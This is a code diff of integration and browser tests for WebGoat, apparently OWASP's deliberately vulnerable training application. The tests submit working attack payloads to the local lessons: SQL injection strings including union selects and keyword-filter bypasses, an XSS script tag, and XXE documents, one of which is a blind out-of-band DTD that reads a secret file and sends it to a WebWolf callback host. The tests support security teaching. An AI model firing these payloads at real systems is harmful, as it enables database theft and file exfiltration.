void hijackSessionTest() {
startLesson("HijackSession");
checkAssignment(
url(HIJACK_LOGIN_CONTEXT_PATH),
Map.of("username", "webgoat", "password", "webgoat"),
false);
}
}

View File

@ -1,8 +1,4 @@
/* package org.owasp.webgoat;
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import java.util.HashMap; import java.util.HashMap;
import java.util.Map; import java.util.Map;
@ -15,31 +11,32 @@ public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest {
startLesson("SqlInjectionAdvanced"); startLesson("SqlInjectionAdvanced");
Map<String, Object> params = new HashMap<>(); Map<String, Object> params = new HashMap<>();
params.clear();
params.put("username_reg", "tom' AND substring(password,1,1)='t"); params.put("username_reg", "tom' AND substring(password,1,1)='t");
params.put("password_reg", "password"); params.put("password_reg", "password");
params.put("email_reg", "someone@microsoft.com"); params.put("email_reg", "someone@microsoft.com");
params.put("confirm_password", "password"); params.put("confirm_password", "password");
checkAssignmentWithPUT(webGoatUrlConfig.url("SqlInjectionAdvanced/register"), params, false); checkAssignmentWithPUT(url("SqlInjectionAdvanced/challenge"), params, true);
params.clear(); params.clear();
params.put("username_login", "tom"); params.put("username_login", "tom");
params.put("password_login", "thisisasecretfortomonly"); params.put("password_login", "thisisasecretfortomonly");
checkAssignment(webGoatUrlConfig.url("SqlInjectionAdvanced/login"), params, true); checkAssignment(url("SqlInjectionAdvanced/challenge_Login"), params, true);
params.clear(); params.clear();
params.put("userid_6a", "'; SELECT * FROM user_system_data;--"); params.put("userid_6a", "'; SELECT * FROM user_system_data;--");
checkAssignment(webGoatUrlConfig.url("SqlInjectionAdvanced/attack6a"), params, true); checkAssignment(url("SqlInjectionAdvanced/attack6a"), params, true);
params.clear(); params.clear();
params.put( params.put(
"userid_6a", "userid_6a",
"Smith' union select userid,user_name, user_name,user_name,password,cookie,userid from" "Smith' union select userid,user_name, user_name,user_name,password,cookie,userid from"
+ " user_system_data --"); + " user_system_data --");
checkAssignment(webGoatUrlConfig.url("SqlInjectionAdvanced/attack6a"), params, true); checkAssignment(url("SqlInjectionAdvanced/attack6a"), params, true);
params.clear(); params.clear();
params.put("userid_6b", "passW0rD"); params.put("userid_6b", "passW0rD");
checkAssignment(webGoatUrlConfig.url("SqlInjectionAdvanced/attack6b"), params, true); checkAssignment(url("SqlInjectionAdvanced/attack6b"), params, true);
params.clear(); params.clear();
params.put( params.put(
@ -57,6 +54,8 @@ public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest {
params.put( params.put(
"question_4_solution", "question_4_solution",
"Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'."); "Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.");
checkAssignment(webGoatUrlConfig.url("SqlInjectionAdvanced/quiz"), params, true); checkAssignment(url("SqlInjectionAdvanced/quiz"), params, true);
checkResults("/SqlInjectionAdvanced/");
} }
} }

View File

@ -1,8 +1,4 @@
/* package org.owasp.webgoat;
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import java.util.HashMap; import java.util.HashMap;
import java.util.Map; import java.util.Map;
@ -38,45 +34,45 @@ public class SqlInjectionLessonIntegrationTest extends IntegrationTest {
Map<String, Object> params = new HashMap<>(); Map<String, Object> params = new HashMap<>();
params.clear(); params.clear();
params.put("query", sql_2); params.put("query", sql_2);
checkAssignment(webGoatUrlConfig.url("SqlInjection/attack2"), params, true); checkAssignment(url("SqlInjection/attack2"), params, true);
params.clear(); params.clear();
params.put("query", sql_3); params.put("query", sql_3);
checkAssignment(webGoatUrlConfig.url("SqlInjection/attack3"), params, true); checkAssignment(url("SqlInjection/attack3"), params, true);
params.clear(); params.clear();
params.put("query", sql_4_add); params.put("query", sql_4_add);
checkAssignment(webGoatUrlConfig.url("SqlInjection/attack4"), params, true); checkAssignment(url("SqlInjection/attack4"), params, true);
params.clear(); params.clear();
params.put("query", sql_5); params.put("query", sql_5);
checkAssignment(webGoatUrlConfig.url("SqlInjection/attack5"), params, true); checkAssignment(url("SqlInjection/attack5"), params, true);
params.clear(); params.clear();
params.put("operator", sql_9_operator); params.put("operator", sql_9_operator);
params.put("account", sql_9_account); params.put("account", sql_9_account);
params.put("injection", sql_9_injection); params.put("injection", sql_9_injection);
checkAssignment(webGoatUrlConfig.url("SqlInjection/assignment5a"), params, true); checkAssignment(url("SqlInjection/assignment5a"), params, true);
params.clear(); params.clear();
params.put("login_count", sql_10_login_count); params.put("login_count", sql_10_login_count);
params.put("userid", sql_10_userid); params.put("userid", sql_10_userid);
checkAssignment(webGoatUrlConfig.url("SqlInjection/assignment5b"), params, true); checkAssignment(url("SqlInjection/assignment5b"), params, true);
params.clear(); params.clear();
params.put("name", sql_11_a); params.put("name", sql_11_a);
params.put("auth_tan", sql_11_b); params.put("auth_tan", sql_11_b);
checkAssignment(webGoatUrlConfig.url("SqlInjection/attack8"), params, true); checkAssignment(url("SqlInjection/attack8"), params, true);
params.clear(); params.clear();
params.put("name", sql_12_a); params.put("name", sql_12_a);
params.put("auth_tan", sql_12_b); params.put("auth_tan", sql_12_b);
checkAssignment(webGoatUrlConfig.url("SqlInjection/attack9"), params, true); checkAssignment(url("SqlInjection/attack9"), params, true);
params.clear(); params.clear();
params.put("action_string", sql_13); params.put("action_string", sql_13);
checkAssignment(webGoatUrlConfig.url("SqlInjection/attack10"), params, true); checkAssignment(url("SqlInjection/attack10"), params, true);
checkResults("SqlInjection"); checkResults("/SqlInjection/");
} }
} }

View File

@ -1,8 +1,4 @@
/* package org.owasp.webgoat;
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static org.hamcrest.CoreMatchers.containsString; import static org.hamcrest.CoreMatchers.containsString;
@ -27,7 +23,7 @@ public class SqlInjectionMitigationIntegrationTest extends IntegrationTest {
params.put("field5", "?"); params.put("field5", "?");
params.put("field6", "prep.setString(1,\"\")"); params.put("field6", "prep.setString(1,\"\")");
params.put("field7", "prep.setString(2,\\\"\\\")"); params.put("field7", "prep.setString(2,\\\"\\\")");
checkAssignment(webGoatUrlConfig.url("SqlInjectionMitigations/attack10a"), params, true); checkAssignment(url("SqlInjectionMitigations/attack10a"), params, true);
params.put( params.put(
"editor", "editor",
@ -41,36 +37,37 @@ public class SqlInjectionMitigationIntegrationTest extends IntegrationTest {
+ "} catch (Exception e) {\r\n" + "} catch (Exception e) {\r\n"
+ " System.out.println(\"Oops. Something went wrong!\");\r\n" + " System.out.println(\"Oops. Something went wrong!\");\r\n"
+ "}"); + "}");
checkAssignment(webGoatUrlConfig.url("SqlInjectionMitigations/attack10b"), params, true); checkAssignment(url("SqlInjectionMitigations/attack10b"), params, true);
params.clear(); params.clear();
params.put( params.put(
"userid_sql_only_input_validation", "Smith';SELECT/**/*/**/from/**/user_system_data;--"); "userid_sql_only_input_validation", "Smith';SELECT/**/*/**/from/**/user_system_data;--");
checkAssignment(webGoatUrlConfig.url("SqlOnlyInputValidation/attack"), params, true); checkAssignment(url("SqlOnlyInputValidation/attack"), params, true);
params.clear(); params.clear();
params.put( params.put(
"userid_sql_only_input_validation_on_keywords", "userid_sql_only_input_validation_on_keywords",
"Smith';SESELECTLECT/**/*/**/FRFROMOM/**/user_system_data;--"); "Smith';SESELECTLECT/**/*/**/FRFROMOM/**/user_system_data;--");
checkAssignment(webGoatUrlConfig.url("SqlOnlyInputValidationOnKeywords/attack"), params, true); checkAssignment(url("SqlOnlyInputValidationOnKeywords/attack"), params, true);
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
.get( .get(
webGoatUrlConfig.url("SqlInjectionMitigations/servers?column=(case when (true) then hostname" url(
+ " else id end)")) "SqlInjectionMitigations/servers?column=(case when (true) then hostname"
+ " else id end)"))
.then() .then()
.statusCode(200); .statusCode(200);
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
.get(webGoatUrlConfig.url("SqlInjectionMitigations/servers?column=unknown")) .get(url("SqlInjectionMitigations/servers?column=unknown"))
.then() .then()
.statusCode(500) .statusCode(500)
.body( .body(
@ -81,8 +78,8 @@ public class SqlInjectionMitigationIntegrationTest extends IntegrationTest {
params.clear(); params.clear();
params.put("ip", "104.130.219.202"); params.put("ip", "104.130.219.202");
checkAssignment(webGoatUrlConfig.url("SqlInjectionMitigations/attack12a"), params, true); checkAssignment(url("SqlInjectionMitigations/attack12a"), params, true);
checkResults("SqlInjectionMitigations"); checkResults();
} }
} }

View File

@ -1,8 +1,4 @@
/* package org.owasp.webgoat;
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static org.junit.jupiter.api.Assertions.assertTrue; import static org.junit.jupiter.api.Assertions.assertTrue;
@ -20,14 +16,14 @@ public class WebWolfIntegrationTest extends IntegrationTest {
// Assignment 3 // Assignment 3
Map<String, Object> params = new HashMap<>(); Map<String, Object> params = new HashMap<>();
params.put("email", this.getUser() + "@webgoat.org"); params.put("email", this.getUser() + "@webgoat.org");
checkAssignment(webGoatUrlConfig.url("WebWolf/mail/send"), params, false); checkAssignment(url("WebWolf/mail/send"), params, false);
String responseBody = String responseBody =
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie()) .cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrlConfig.url("mail")) .get(webWolfUrl("mail"))
.then() .then()
.extract() .extract()
.response() .response()
@ -41,15 +37,15 @@ public class WebWolfIntegrationTest extends IntegrationTest {
uniqueCode.lastIndexOf("your unique code is: ") + (21 + this.getUser().length())); uniqueCode.lastIndexOf("your unique code is: ") + (21 + this.getUser().length()));
params.clear(); params.clear();
params.put("uniqueCode", uniqueCode); params.put("uniqueCode", uniqueCode);
checkAssignment(webGoatUrlConfig.url("WebWolf/mail"), params, true); checkAssignment(url("WebWolf/mail"), params, true);
// Assignment 4 // Assignment 4
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.queryParams(params) .queryParams(params)
.get(webGoatUrlConfig.url("WebWolf/landing/password-reset")) .get(url("WebWolf/landing/password-reset"))
.then() .then()
.statusCode(200); .statusCode(200);
RestAssured.given() RestAssured.given()
@ -57,7 +53,7 @@ public class WebWolfIntegrationTest extends IntegrationTest {
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie()) .cookie("WEBWOLFSESSION", getWebWolfCookie())
.queryParams(params) .queryParams(params)
.get(webWolfUrlConfig.url("landing")) .get(webWolfUrl("landing"))
.then() .then()
.statusCode(200); .statusCode(200);
responseBody = responseBody =
@ -65,7 +61,7 @@ public class WebWolfIntegrationTest extends IntegrationTest {
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie()) .cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrlConfig.url("requests")) .get(webWolfUrl("requests"))
.then() .then()
.extract() .extract()
.response() .response()
@ -74,8 +70,8 @@ public class WebWolfIntegrationTest extends IntegrationTest {
assertTrue(responseBody.contains(uniqueCode)); assertTrue(responseBody.contains(uniqueCode));
params.clear(); params.clear();
params.put("uniqueCode", uniqueCode); params.put("uniqueCode", uniqueCode);
checkAssignment(webGoatUrlConfig.url("WebWolf/landing"), params, true); checkAssignment(url("WebWolf/landing"), params, true);
checkResults("WebWolfIntroduction"); checkResults("/WebWolf");
} }
} }

View File

@ -1,8 +1,4 @@
/* package org.owasp.webgoat;
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import io.restassured.RestAssured; import io.restassured.RestAssured;
import java.util.HashMap; import java.util.HashMap;
@ -18,7 +14,7 @@ public class XSSIntegrationTest extends IntegrationTest {
Map<String, Object> params = new HashMap<>(); Map<String, Object> params = new HashMap<>();
params.clear(); params.clear();
params.put("checkboxAttack1", "value"); params.put("checkboxAttack1", "value");
checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/attack1"), params, true); checkAssignment(url("CrossSiteScripting/attack1"), params, true);
params.clear(); params.clear();
params.put("QTY1", "1"); params.put("QTY1", "1");
@ -27,17 +23,17 @@ public class XSSIntegrationTest extends IntegrationTest {
params.put("QTY4", "1"); params.put("QTY4", "1");
params.put("field1", "<script>alert('XSS+Test')</script>"); params.put("field1", "<script>alert('XSS+Test')</script>");
params.put("field2", "111"); params.put("field2", "111");
checkAssignmentWithGet(webGoatUrlConfig.url("CrossSiteScripting/attack5a"), params, true); checkAssignmentWithGet(url("CrossSiteScripting/attack5a"), params, true);
params.clear(); params.clear();
params.put("DOMTestRoute", "start.mvc#test"); params.put("DOMTestRoute", "start.mvc#test");
checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/attack6a"), params, true); checkAssignment(url("CrossSiteScripting/attack6a"), params, true);
params.clear(); params.clear();
params.put("param1", "42"); params.put("param1", "42");
params.put("param2", "24"); params.put("param2", "24");
String result = String result =
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
@ -45,7 +41,7 @@ public class XSSIntegrationTest extends IntegrationTest {
.header("webgoat-requested-by", "dom-xss-vuln") .header("webgoat-requested-by", "dom-xss-vuln")
.header("X-Requested-With", "XMLHttpRequest") .header("X-Requested-With", "XMLHttpRequest")
.formParams(params) .formParams(params)
.post(webGoatUrlConfig.url("CrossSiteScripting/phone-home-xss")) .post(url("CrossSiteScripting/phone-home-xss"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
@ -54,7 +50,7 @@ public class XSSIntegrationTest extends IntegrationTest {
params.clear(); params.clear();
params.put("successMessage", secretNumber); params.put("successMessage", secretNumber);
checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/dom-follow-up"), params, true); checkAssignment(url("CrossSiteScripting/dom-follow-up"), params, true);
params.clear(); params.clear();
params.put( params.put(
@ -77,7 +73,7 @@ public class XSSIntegrationTest extends IntegrationTest {
"question_4_solution", "question_4_solution",
"Solution 4: No there are many other ways. Like HTML, Flash or any other type of code that" "Solution 4: No there are many other ways. Like HTML, Flash or any other type of code that"
+ " the browser executes."); + " the browser executes.");
checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/quiz"), params, true); checkAssignment(url("CrossSiteScripting/quiz"), params, true);
params.clear(); params.clear();
params.put( params.put(
@ -103,7 +99,7 @@ public class XSSIntegrationTest extends IntegrationTest {
+ "</table>" + "</table>"
+ "</body>" + "</body>"
+ "</html>"); + "</html>");
checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/attack3"), params, true); checkAssignment(url("CrossSiteScripting/attack3"), params, true);
params.clear(); params.clear();
params.put( params.put(
@ -113,8 +109,8 @@ public class XSSIntegrationTest extends IntegrationTest {
+ "s.scan(newComment,\"\");" + "s.scan(newComment,\"\");"
+ "CleanResults();" + "CleanResults();"
+ "MyCommentDAO.addComment(threadID, userID).getCleanHTML());"); + "MyCommentDAO.addComment(threadID, userID).getCleanHTML());");
checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/attack4"), params, true); checkAssignment(url("CrossSiteScripting/attack4"), params, true);
checkResults("CrossSiteScripting"); checkResults("/CrossSiteScripting");
} }
} }

View File

@ -0,0 +1,126 @@
package org.owasp.webgoat;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import org.junit.jupiter.api.Test;
public class XXEIntegrationTest extends IntegrationTest {
private static final String xxe3 =
"""
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
""";
private static final String xxe4 =
"""
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
""";
private static final String dtd7 =
"""
<?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;
""";
private static final String xxe7 =
"""
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>
""";
private String webGoatHomeDirectory;
private String webWolfFileServerLocation;
/*
* This test is to verify that all is secure when XXE security patch is applied.
*/
@Test
public void xxeSecure() throws IOException {
startLesson("XXE");
webGoatHomeDirectory = webGoatServerDirectory();
webWolfFileServerLocation = getWebWolfFileServerLocation();
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/enable-security.mvc"))
.then()
.statusCode(200);
checkAssignment(url("xxe/simple"), ContentType.XML, xxe3, false);
checkAssignment(url("xxe/content-type"), ContentType.XML, xxe4, false);
checkAssignment(
url("xxe/blind"),
ContentType.XML,
"<comment><text>" + getSecret() + "</text></comment>",
false);
}
/**
* This performs the steps of the exercise before the secret can be committed in the final step.
*
* @return
* @throws IOException
*/
private String getSecret() throws IOException {
// remove any left over DTD
Path webWolfFilePath = Paths.get(webWolfFileServerLocation);
if (webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")).toFile().exists()) {
Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")));
}
String secretFile = webGoatHomeDirectory.concat("/XXE/" + getUser() + "/secret.txt");
String dtd7String =
dtd7.replace("WEBWOLFURL", webWolfUrl("landing")).replace("SECRET", secretFile);
// upload DTD
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.multiPart("file", "blind.dtd", dtd7String.getBytes())
.post(webWolfUrl("fileupload"))
.then()
.extract()
.response()
.getBody()
.asString();
// upload attack
String xxe7String =
xxe7.replace("WEBWOLFURL", webWolfUrl("files")).replace("USERNAME", this.getUser());
checkAssignment(url("xxe/blind"), ContentType.XML, xxe7String, false);
// read results from WebWolf
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("requests"))
.then()
.extract()
.response()
.getBody()
.asString();
result = result.replace("%20", " ");
if (-1 != result.lastIndexOf("WebGoat 8.0 rocks... (")) {
result =
result.substring(
result.lastIndexOf("WebGoat 8.0 rocks... ("),
result.lastIndexOf("WebGoat 8.0 rocks... (") + 33);
}
return result;
}
@Test
public void runTests() throws IOException {
startLesson("XXE", true);
webGoatHomeDirectory = webGoatServerDirectory();
webWolfFileServerLocation = getWebWolfFileServerLocation();
checkAssignment(url("xxe/simple"), ContentType.XML, xxe3, true);
checkAssignment(url("xxe/content-type"), ContentType.XML, xxe4, true);
checkAssignment(
url("xxe/blind"),
ContentType.XML,
"<comment><text>" + getSecret() + "</text></comment>",
true);
checkResults("xxe/");
}
}

View File

@ -1,23 +0,0 @@
/*
* SPDX-FileCopyrightText: Copyright © 2014 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import java.util.Map;
import org.junit.jupiter.api.Test;
class SessionManagementIT extends IntegrationTest {
private static final String HIJACK_LOGIN_CONTEXT_PATH = "HijackSession/login";
@Test
void hijackSessionTest() {
startLesson("HijackSession");
checkAssignment(
webGoatUrlConfig.url(HIJACK_LOGIN_CONTEXT_PATH),
Map.of("username", "webgoat", "password", "webgoat"),
false);
}
}

View File

@ -1,121 +0,0 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import java.io.IOException;
import org.junit.jupiter.api.Test;
public class XXEIntegrationTest extends IntegrationTest {
private static final String xxe3 =
"""
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
""";
private static final String xxe4 =
"""
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
""";
private static final String dtd7 =
"""
<?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;
""";
private static final String xxe7 =
"""
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>
""";
private String webGoatHomeDirectory;
// TODO fix me
// /*
// * This test is to verify that all is secure when XXE security patch is applied.
// */
// @Test
// public void xxeSecure() throws IOException {
// startLesson("XXE");
// webGoatHomeDirectory = webGoatServerDirectory();
// RestAssured.given()
// .when()
// .relaxedHTTPSValidation()
// .cookie("JSESSIONID", getWebGoatCookie())
// .get(url("service/enable-security.mvc"))
// .then()
// .statusCode(200);
// checkAssignment(url("xxe/simple"), ContentType.XML, xxe3, false);
// checkAssignment(url("xxe/content-type"), ContentType.XML, xxe4, false);
// checkAssignment(
// url("xxe/blind"),
// ContentType.XML,
// "<comment><text>" + getSecret() + "</text></comment>",
// false);
// }
/**
* This performs the steps of the exercise before the secret can be committed in the final step.
*
* @return
*/
private String getSecret() {
String secretFile = webGoatHomeDirectory.concat("/XXE/" + getUser() + "/secret.txt");
String webWolfCallback = webWolfUrlConfig.url("landing");
String dtd7String = dtd7.replace("WEBWOLFURL", webWolfCallback).replace("SECRET", secretFile);
// upload DTD
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.multiPart("file", "blind.dtd", dtd7String.getBytes())
.post(webWolfUrlConfig.url("fileupload"))
.then()
.extract()
.response()
.getBody()
.asString();
// upload attack
String xxe7String =
xxe7.replace("WEBWOLFURL", webWolfUrlConfig.url("files"))
.replace("USERNAME", this.getUser());
checkAssignment(webGoatUrlConfig.url("xxe/blind"), ContentType.XML, xxe7String, false);
// read results from WebWolf
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrlConfig.url("requests"))
.then()
.extract()
.response()
.getBody()
.asString();
result = result.replace("%20", " ");
if (-1 != result.lastIndexOf("WebGoat 8.0 rocks... (")) {
result =
result.substring(
result.lastIndexOf("WebGoat 8.0 rocks... ("),
result.lastIndexOf("WebGoat 8.0 rocks... (") + 33);
}
return result;
}
@Test
public void runTests() throws IOException {
startLesson("XXE", true);
webGoatHomeDirectory = webGoatServerDirectory();
checkAssignment(webGoatUrlConfig.url("xxe/simple"), ContentType.XML, xxe3, true);
checkAssignment(webGoatUrlConfig.url("xxe/content-type"), ContentType.XML, xxe4, true);
checkAssignment(
webGoatUrlConfig.url("xxe/blind"),
ContentType.XML,
"<comment><text>" + getSecret() + "</text></comment>",
true);
checkResults("XXE");
}
}

View File

@ -1,31 +0,0 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat;
import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;
import com.microsoft.playwright.Browser;
import com.microsoft.playwright.Page;
import com.microsoft.playwright.options.AriaRole;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
import org.owasp.webgoat.playwright.webgoat.pages.WebGoatLoginPage;
class LoginUITest extends PlaywrightTest {
@Test
void loginLogout(Browser browser) {
var page = Authentication.tweety(browser);
var loginPage = new WebGoatLoginPage(page);
loginPage.open();
loginPage.login(Authentication.getTweety().name(), Authentication.getTweety().password());
// logout
page.getByRole(AriaRole.BUTTON, new Page.GetByRoleOptions().setName("")).click();
page.getByRole(AriaRole.MENUITEM, new Page.GetByRoleOptions().setName("Logout")).click();
assertThat(loginPage.getSignInButton()).isVisible();
}
}

View File

@ -1,42 +0,0 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat;
import com.microsoft.playwright.Browser;
import com.microsoft.playwright.junit.Options;
import com.microsoft.playwright.junit.OptionsFactory;
import com.microsoft.playwright.junit.UsePlaywright;
import org.owasp.webgoat.ServerUrlConfig;
@UsePlaywright(PlaywrightTest.WebGoatOptions.class)
public class PlaywrightTest {
private static final ServerUrlConfig webGoatUrlConfig = ServerUrlConfig.webGoat();
private static final ServerUrlConfig webWolfUrlConfig = ServerUrlConfig.webWolf();
public static class WebGoatOptions implements OptionsFactory {
@Override
public Options getOptions() {
return new Options()
.setHeadless(true)
.setContextOptions(getContextOptions());
}
}
protected static Browser.NewContextOptions getContextOptions() {
return new Browser.NewContextOptions()
.setLocale("en-US")
.setBaseURL(webGoatUrlConfig.getBaseUrl());
}
public static String webGoatUrl(String path) {
return webGoatUrlConfig.url(path);
}
public static String webWolfURL(String path) {
return webWolfUrlConfig.url(path);
}
}

View File

@ -1,48 +0,0 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat;
import static org.assertj.core.api.Assertions.assertThat;
import com.microsoft.playwright.Browser;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
import org.owasp.webgoat.playwright.webgoat.pages.RegistrationPage;
import org.owasp.webgoat.playwright.webgoat.pages.WebGoatLoginPage;
public class RegistrationUITest extends PlaywrightTest {
@Test
@DisplayName("Should register a new user while logged in as other user")
void registerWhileLoggedIn(Browser browser) {
var page = Authentication.tweety(browser);
var loginPage = new WebGoatLoginPage(page);
loginPage.open();
loginPage.login(Authentication.getTweety().name(), Authentication.getTweety().password());
var newUsername = "newuser" + System.currentTimeMillis();
var password = "password123";
var registrationPage = new RegistrationPage(page);
registrationPage.open();
registrationPage.register(newUsername, password);
assertThat(page.content()).contains(newUsername);
}
@Test
@DisplayName("Should register a new user")
void registerNewUser(Browser browser) {
var page = browser.newContext(new Browser.NewContextOptions().setLocale("en-US")).newPage();
var registrationPage = new RegistrationPage(page);
registrationPage.open();
var newUsername = "newuser" + System.currentTimeMillis();
var password = "password123";
registrationPage.register(newUsername, password);
assertThat(page.content()).contains(newUsername);
}
}

View File

@ -1,65 +0,0 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat.helpers;
import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;
import com.microsoft.playwright.Browser;
import com.microsoft.playwright.Page;
import lombok.Getter;
import org.owasp.webgoat.playwright.webgoat.pages.RegistrationPage;
import org.owasp.webgoat.playwright.webgoat.pages.WebGoatLoginPage;
import org.owasp.webgoat.playwright.webwolf.pages.WebWolfLoginPage;
/**
* Helper class to authenticate users in WebGoat and WebWolf.
*
* <p>It provides two users: sylvester and tweety. The users are authenticated by logging in to
* WebGoat and WebWolf. Once authenticated, the user's authentication token is stored in the browser
* and reused for subsequent requests.
*/
public class Authentication {
public record User(String name, String password, String auth) {
boolean loggedIn() {
return auth != null;
}
}
@Getter private static User sylvester = new User("sylvester", "sylvester", null);
@Getter private static User tweety = new User("tweety", "tweety", null);
public static Page sylvester(Browser browser) {
User user = login(browser, sylvester);
return browser.newContext(new Browser.NewContextOptions().setLocale("en-US").setStorageState(user.auth)).newPage();
}
public static Page tweety(Browser browser) {
User user = login(browser, tweety);
return browser.newContext(new Browser.NewContextOptions().setLocale("en-US").setStorageState(user.auth)).newPage();
}
private static User login(Browser browser, User user) {
if (user.loggedIn()) {
return user;
}
var page = browser.newContext(new Browser.NewContextOptions().setLocale("en-US")).newPage();
RegistrationPage registrationPage = new RegistrationPage(page);
registrationPage.open();
registrationPage.register(user.name, user.password);
WebGoatLoginPage loginPage = new WebGoatLoginPage(page);
loginPage.open();
loginPage.login(user.name, user.password);
assertThat(loginPage.getSignInButton()).not().isVisible();
WebWolfLoginPage webWolfLoginPage = new WebWolfLoginPage(page);
webWolfLoginPage.open();
webWolfLoginPage.login(user.name, user.password);
assertThat(loginPage.getSignInButton()).not().isVisible();
return new User(user.name, user.password, page.context().storageState());
}
}

View File

@ -1,84 +0,0 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat.lessons;
import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;
import com.microsoft.playwright.*;
import org.assertj.core.api.Assertions;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DisplayName;
